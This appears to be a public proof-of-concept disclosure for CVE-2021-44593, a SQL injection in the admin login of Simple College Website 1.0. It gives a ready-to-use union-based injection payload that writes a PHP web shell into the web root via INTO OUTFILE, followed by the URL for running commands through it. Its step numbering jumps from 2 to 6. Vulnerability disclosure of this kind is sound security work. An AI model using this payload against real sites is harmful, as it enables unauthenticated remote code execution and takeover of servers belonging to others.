CVE-2021-44593 PoC — Sourcecodester Simple College Website SQL注入漏洞

Description

Public disclosure & writeup of CVE-2021-44593.

Readme

# CVE-2021-44593
Public disclosure of CVE-2021-44593. A SQL injection/arbitrary file upload/remote code execution vulnerability in Simple College Website.

## DESCRIPTION

Simple College Website 1.0 is vulnerable to an unauthenticated union-based SQL injection in the "username" parameter of the /admin/login.php page, which can then be leveraged to upload arbitrary files & gain remote code execution.

## COMPONENTS AFFECTED

The function ```login()``` in ```admin_class.php```

## STEPS TO REPRODUCE

1. Access the admin login page (usually /admin/login.php) 
2. Submit the login form with the POST parameter "username" containing the following UNION-based SQL injection: 
```
' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -
```
6. Navigate to /testing.php?cmd=id

## NOTES

1. Knowledge of the web server root directory location is needed.
2. Knowledge of the document root directory location may also be needed if it is not the same as the web server root directory.
3. Further, the MySQL daemon needs to have write permissions for said directory.

File Snapshot

Remarks